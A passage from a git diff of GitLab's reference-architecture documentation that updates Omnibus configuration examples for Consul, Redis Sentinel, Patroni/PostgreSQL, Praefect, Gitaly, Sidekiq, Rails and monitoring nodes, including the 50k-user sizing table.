+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Go through the steps again for all the other replica nodes, and
make sure to set up the IPs correctly.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after
@@ -638,7 +647,7 @@ To configure the Sentinel:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['redis_sentinel_role', 'consul_role']
+ roles(['redis_sentinel_role', 'consul_role'])
# Must be the same in every sentinel node
redis['master_name'] = 'gitlab-redis'
@@ -702,7 +711,6 @@ To configure the Sentinel:
# sentinel['failover_timeout'] = 60000
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -720,7 +728,11 @@ To configure the Sentinel:
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other Consul/Sentinel nodes, and
make sure you set up the correct IPs.
@@ -813,6 +825,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
sudo gitlab-ctl pg-password-md5 pgbouncer
```
+1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default
+ username of `gitlab_replicator` (recommended). The command will request a password
+ and a confirmation. Use the value that is output by this command in the next step
+ as the value of `<postgresql_replication_password_hash>`:
+
+ ```shell
+ sudo gitlab-ctl pg-password-md5 gitlab_replicator
+ ```
+
1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default
username of `gitlab-consul` (recommended). The command will request a password
and confirmation. Use the value that is output by this command in the next
@@ -825,27 +846,28 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except PostgreSQL, Patroni, and Consul
- roles ['postgres_role']
-
+ # Disable all components except Patroni and Consul
+ roles(['patroni_role'])
+
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
- # Enable Patroni
- patroni['enable'] = true
- # Set `max_wal_senders` to one more than the number of database nodes in the cluster.
+ # Sets `max_replication_slots` to double the number of database nodes.
+ # Patroni uses one extra slot per node when initiating the replication.
+ patroni['postgresql']['max_replication_slots'] = 6
+
+ # Set `max_wal_senders` to one more than the number of replication slots in the cluster.
# This is used to prevent replication from using up all of the
# available database connections.
- patroni['postgresql']['max_wal_senders'] = 4
- patroni['postgresql']['max_replication_slots'] = 4
+ patroni['postgresql']['max_wal_senders'] = 7
+
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
-
+
# Configure the Consul agent
- consul['enable'] = true
consul['services'] = %w(postgresql)
## Enable service discovery for Prometheus
consul['monitoring_service_discovery'] = true
@@ -855,6 +877,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
#
# Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value
postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>'
+ # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value
+ postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>'
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
@@ -878,9 +902,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind`
Like most failover handling methods, this has a small chance of leading to data loss.
Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method).
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -895,22 +918,7 @@ are supported and can be added if needed.
#### PostgreSQL post-configuration
-SSH in to the **primary node**:
-
-1. Open a database prompt:
-
- ```shell
- gitlab-psql -d gitlabhq_production
- ```
-
-1. Enable the `pg_trgm` and `btree_gist` extensions:
-
- ```shell
- CREATE EXTENSION pg_trgm;
- CREATE EXTENSION btree_gist;
- ```
-
-1. Exit the database prompt by typing `\q` and Enter.
+SSH in to any of the Patroni nodes on the **primary site**:
1. Check the status of the leader and cluster:
@@ -952,7 +960,7 @@ The following IPs will be used as an example:
```ruby
# Disable all components except Pgbouncer and Consul agent
- roles ['pgbouncer_role']
+ roles(['pgbouncer_role'])
# Configure PgBouncer
pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul)
@@ -969,7 +977,6 @@ The following IPs will be used as an example:
# Configure Consul agent
consul['watchers'] = %w(postgresql)
- consul['enable'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
@@ -982,6 +989,9 @@ The following IPs will be used as an example:
pgbouncer_exporter['listen_address'] = '0.0.0.0:9188'
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Create a `.pgpass` file so Consul is able to
@@ -1097,9 +1107,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
```ruby
# Disable all components except PostgreSQL and Consul
- roles ['postgres_role']
- repmgr['enable'] = false
- patroni['enable'] = false
+ roles(['postgres_role', 'consul_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -1109,7 +1117,6 @@ in the second step, do not supply the `EXTERNAL_URL` value.
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
- consul['enable'] = true
## Enable service discovery for Prometheus
consul['monitoring_service_discovery'] = true
@@ -1135,6 +1142,9 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# END user configuration
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Follow the [post configuration](#praefect-postgresql-post-configuration).
@@ -1213,7 +1223,7 @@ Praefect requires several secret tokens to secure communications across the Clus
Gitaly Cluster nodes are configured in Praefect via a `virtual storage`. Each storage contains
the details of each Gitaly node that makes up the cluster. Each storage is also given a name
-and this name is used in several areas of the config. In this guide, the name of the storage will be
+and this name is used in several areas of the configuration. In this guide, the name of the storage will be
`default`. Also, this guide is geared towards new installs, if upgrading an existing environment
to use Gitaly Cluster, you may need to use a different name.
Refer to the [Praefect documentation](../gitaly/praefect.md#praefect) for more info.
@@ -1233,19 +1243,18 @@ To configure the Praefect nodes, on each one:
1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect:
```ruby
- # Avoid running unnecessary services on the Gitaly server
+ # Avoid running unnecessary services on the Praefect server
+ gitaly['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Praefect Configuration
praefect['enable'] = true
@@ -1283,19 +1292,20 @@ To configure the Praefect nodes, on each one:
# server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1')
praefect['virtual_storages'] = {
'default' => {
- 'gitaly-1' => {
- 'address' => 'tcp://10.6.0.91:8075',
- 'token' => '<praefect_internal_token>',
- 'primary' => true
- },
- 'gitaly-2' => {
- 'address' => 'tcp://10.6.0.92:8075',
- 'token' => '<praefect_internal_token>'
- },
- 'gitaly-3' => {
- 'address' => 'tcp://10.6.0.93:8075',
- 'token' => '<praefect_internal_token>'
- },
+ 'nodes' => {
+ 'gitaly-1' => {
+ 'address' => 'tcp://10.6.0.91:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-2' => {
+ 'address' => 'tcp://10.6.0.92:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-3' => {
+ 'address' => 'tcp://10.6.0.93:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ }
}
}
@@ -1312,11 +1322,25 @@ To configure the Praefect nodes, on each one:
# END user configuration
```
- 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
- 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. Praefect requires to run some database migrations, much like the main GitLab application. For this
+ you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
+ must be configured first before the others as follows:
+
+ 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
+
+ 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
+ to run the Praefect database migrations.
+
+1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
### Configure Gitaly
@@ -1360,29 +1384,27 @@ On each node:
storage paths, enable the network listener, and to configure the token:
```ruby
- # /etc/gitlab/gitlab.rb
-
# Avoid running unnecessary services on the Gitaly server
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
+ # Gitaly
+ gitaly['enable'] = true
+
# Configure the gitlab-shell API callback URL. Without this, `git push` will
# fail. This can be your 'front door' GitLab URL or an internal load
# balancer.
- # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server.
gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
# Make Gitaly accept connections on all network interfaces. You must use
@@ -1426,9 +1448,8 @@ On each node:
})
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -1537,29 +1558,19 @@ To configure the Sidekiq nodes, one each one:
1. Open `/etc/gitlab/gitlab.rb` with your editor:
```ruby
- ########################################
- ##### Services Disabled ###
- ########################################
-
- nginx['enable'] = false
- grafana['enable'] = false
- prometheus['enable'] = false
- alertmanager['enable'] = false
+ # Avoid running unnecessary services on the Sidekiq server
gitaly['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = false
- puma['enable'] = false
- postgres_exporter['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- redis_exporter['enable'] = false
+ puma['enable'] = false
+ gitlab_workhorse['enable'] = false
+ prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
gitlab_exporter['enable'] = false
+ nginx['enable'] = false
- ########################################
- #### Redis ###
- ########################################
-
- ## Must be the same in every sentinel node
+ # Redis
redis['master_name'] = 'gitlab-redis'
## The same password for Redis authentication you set up for the master node.
@@ -1572,13 +1583,10 @@ To configure the Sidekiq nodes, one each one:
{'host' => '10.6.0.13', 'port' => 26379},
]
- #######################################
- ### Gitaly ###
- #######################################
-
- # git_data_dirs get configured for the Praefect virtual storage
- # Address is Internal Load Balancer for Praefect
- # Token is praefect_external_token
+ # Gitaly Cluster
+ ## git_data_dirs get configured for the Praefect virtual storage
+ ## Address is Internal Load Balancer for Praefect
+ ## Token is praefect_external_token
git_data_dirs({
"default" => {
"gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP
@@ -1586,31 +1594,26 @@ To configure the Sidekiq nodes, one each one:
}
})
- #######################################
- ### Postgres ###
- #######################################
+ # PostgreSQL
gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
- # Prevent database migrations from running on upgrade automatically
+ ## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
- #######################################
- ### Sidekiq configuration ###
- #######################################
+ # Sidekiq
+ sidekiq['enable'] = true
sidekiq['listen_address'] = "0.0.0.0"
- # Set number of Sidekiq queue processes to the same number as available CPUs
+ ## Set number of Sidekiq queue processes to the same number as available CPUs
sidekiq['queue_groups'] = ['*'] * 2
- # Set number of Sidekiq threads per queue process to the recommend number of 10
+ ## Set number of Sidekiq threads per queue process to the recommend number of 10
sidekiq['max_concurrency'] = 10
- #######################################
- ### Monitoring configuration ###
- #######################################
+ # Monitoring
consul['enable'] = true
consul['monitoring_service_discovery'] = true
@@ -1618,19 +1621,16 @@ To configure the Sidekiq nodes, one each one:
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
- # Set the network addresses that the exporters will listen on
+ ## Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
- # Rails Status for prometheus
+ ## Add the monitoring node's IP address to the monitoring whitelist
gitlab_rails['monitoring_whitelist'] = ['10.6.0.81/32', '127.0.0.0/8']
gitlab_rails['prometheus_address'] = '10.6.0.81:9090'
- #############################
- ### Object storage ###
- #############################
-
- # This is an example for configuring Object Storage on GCP
- # Replace this config with your chosen Object Storage provider as desired
+ # Object Storage
+ ## This is an example for configuring Object Storage on GCP
+ ## Replace this config with your chosen Object Storage provider as desired
gitlab_rails['object_store']['connection'] = {
'provider' => 'Google',
'google_project' => '<gcp-project-name>',
@@ -1644,9 +1644,28 @@ To configure the Sidekiq nodes, one each one:
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
+
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+
1. Verify the GitLab services are running:
```shell
@@ -1728,7 +1747,7 @@ On each node perform the following:
})
## Disable components that will not be on the GitLab application server
- roles ['application_role']
+ roles(['application_role'])
gitaly['enable'] = false
nginx['enable'] = true
sidekiq['enable'] = false
@@ -1793,10 +1812,7 @@ On each node perform the following:
#registry['uid'] = 9002
#registry['gid'] = 9002
- #############################
- ### Object storage ###
- #############################
-
+ # Object storage
# This is an example for configuring Object Storage on GCP
# Replace this config with your chosen Object Storage provider as desired
gitlab_rails['object_store']['connection'] = {
@@ -1811,6 +1827,13 @@ On each node perform the following:
gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>"
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
```
1. If you're using [Gitaly with TLS support](#gitaly-cluster-tls-support), make sure the
@@ -1831,7 +1854,20 @@ On each node perform the following:
sudo cp cert.pem /etc/gitlab/trusted-certs/
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Run `sudo gitlab-rake gitlab:gitaly:check` to confirm the node can connect to Gitaly.
1. Tail the logs to see the requests:
@@ -1839,11 +1875,6 @@ On each node perform the following:
sudo gitlab-ctl tail gitaly
```
-1. Save the `/etc/gitlab/gitlab-secrets.json` file from one of the two
- application nodes and install it on the other application node, the
- [Gitaly node](#configure-gitaly) and the [Sidekiq node](#configure-sidekiq) and
- [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
-
1. Verify the GitLab services are running:
```shell
@@ -1902,45 +1933,26 @@ running [Prometheus](../monitoring/prometheus/index.md) and
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- external_url 'http://gitlab.example.com'
+ roles(['monitoring_role', 'consul_role'])
- # Disable all other services
- alertmanager['enable'] = false
- gitaly['enable'] = false
- gitlab_exporter['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = true
- postgres_exporter['enable'] = false
- postgresql['enable'] = false
- redis['enable'] = false
- redis_exporter['enable'] = false
- sidekiq['enable'] = false
- puma['enable'] = false
- unicorn['enable'] = false
- node_exporter['enable'] = false
- gitlab_exporter['enable'] = false
+ external_url 'http://gitlab.example.com'
- # Enable Prometheus
- prometheus['enable'] = true
+ # Prometheus
prometheus['listen_address'] = '0.0.0.0:9090'
prometheus['monitor_kubernetes'] = false
- # Enable Login form
- grafana['disable_login_form'] = false
-
- # Enable Grafana
- grafana['enable'] = true
+ # Grafana
grafana['admin_password'] = '<grafana_password>'
+ grafana['disable_login_form'] = false
# Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
- # Prevent database migrations from running on upgrade automatically
- gitlab_rails['auto_migrate'] = false
+ # Nginx - For Grafana access
+ nginx['enable'] = true
```
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -2074,7 +2086,7 @@ but with smaller performance requirements, several modifications can be consider
- PostgreSQL: Can be run on reputable Cloud PaaS solutions such as Google Cloud SQL or AWS RDS. In this setup, the PgBouncer and Consul nodes are no longer required:
- Consul may still be desired if [Prometheus](../monitoring/prometheus/index.md) auto discovery is a requirement, otherwise you would need to [manually add scrape configurations](../monitoring/prometheus/index.md#adding-custom-scrape-configurations) for all nodes.
- As Redis Sentinel runs on the same box as Consul in this architecture, it may need to be run on a separate box if Redis is still being run via Omnibus.
- - Redis: Can be run on reputable Cloud PaaS solutions such as Google Memorystore and AWS Elasticache. In this setup, the Redis Sentinel is no longer required.
+ - Redis: Can be run on reputable Cloud PaaS solutions such as Google Memorystore and AWS ElastiCache. In this setup, the Redis Sentinel is no longer required.
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md
index 5cc463c953d..b3324cb75fb 100644
--- a/doc/administration/reference_architectures/50k_users.md
+++ b/doc/administration/reference_architectures/50k_users.md
@@ -17,29 +17,34 @@ full list of reference architectures, see
| Service | Nodes | Configuration | GCP | AWS | Azure |
|------------------------------------------|-------------|-------------------------|------------------|---------------|-----------|
-| External load balancing node | 1 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` |
-| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| PostgreSQL* | 3 | 32 vCPU, 120 GB memory | `n1-standard-32` | `m5.8xlarge` | `D32s v3` |
-| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` |
-| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
-| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
-| Redis Sentinel - Cache** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
-| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
+| External load balancing node(3) | 1 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` |
+| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| PostgreSQL(1) | 3 | 32 vCPU, 120 GB memory | `n1-standard-32` | `m5.8xlarge` | `D32s v3` |
+| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Internal load balancing node(3) | 1 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` |
+| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
+| Redis Sentinel - Queues / Shared State(2)| 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
| Gitaly | 3 | 64 vCPU, 240 GB memory | `n1-standard-64` | `m5.16xlarge` | `D64s v3` |
| Praefect | 3 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
-| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
| GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | `c5.9xlarge` | `F32s v2` |
| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
-| Object storage | n/a | n/a | n/a | n/a | n/a |
-| NFS server | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+| Object storage(4) | n/a | n/a | n/a | n/a | n/a |
+| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
NOTE:
-Components marked with * can be optionally run on reputable
-third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work.
-Components marked with ** can be optionally run on reputable
-third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
```plantuml
@startuml 50k
@@ -157,7 +162,7 @@ To set up GitLab and its components to accommodate up to 50,000 users:
provides access to the Git repositories.
1. [Configure Sidekiq](#configure-sidekiq).
1. [Configure the main GitLab Rails application](#configure-gitlab-rails)
- to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend
+ to run Puma, Workhorse, GitLab Shell, and to serve all frontend
requests (which include UI, API, and Git over HTTP/SSH).
1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab
environment.
@@ -420,11 +425,6 @@ The following IPs will be used as an example:
- `10.6.0.12`: Consul 2
- `10.6.0.13`: Consul 3
-NOTE:
-The configuration processes for the other servers in your reference architecture will
-use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect
-with the other servers.
-
To configure Consul:
1. SSH in to the server that will host Consul.
@@ -435,10 +435,9 @@ To configure Consul:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['consul_role']
+ roles(['consul_role'])
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -455,7 +454,11 @@ To configure Consul:
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other Consul nodes, and
make sure you set up the correct IPs.
@@ -547,6 +550,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
sudo gitlab-ctl pg-password-md5 pgbouncer
```
+1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default
+ username of `gitlab_replicator` (recommended). The command will request a password
+ and a confirmation. Use the value that is output by this command in the next step
+ as the value of `<postgresql_replication_password_hash>`:
+
+ ```shell
+ sudo gitlab-ctl pg-password-md5 gitlab_replicator
+ ```
+
1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default
username of `gitlab-consul` (recommended). The command will request a password
and confirmation. Use the value that is output by this command in the next
@@ -559,19 +571,21 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except PostgreSQL, Patroni, and Consul
- roles ['postgres_role']
+ # Disable all components except Patroni and Consul
+ roles(['patroni_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
- # Enable Patroni
- patroni['enable'] = true
- # Set `max_wal_senders` to one more than the number of database nodes in the cluster.
+ # Sets `max_replication_slots` to double the number of database nodes.
+ # Patroni uses one extra slot per node when initiating the replication.
+ patroni['postgresql']['max_replication_slots'] = 8
+
+ # Set `max_wal_senders` to one more than the number of replication slots in the cluster.
# This is used to prevent replication from using up all of the
# available database connections.
- patroni['postgresql']['max_wal_senders'] = 4
- patroni['postgresql']['max_replication_slots'] = 4
+ patroni['postgresql']['max_wal_senders'] = 9
+
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
@@ -589,6 +603,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
#
# Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value
postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>'
+ # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value
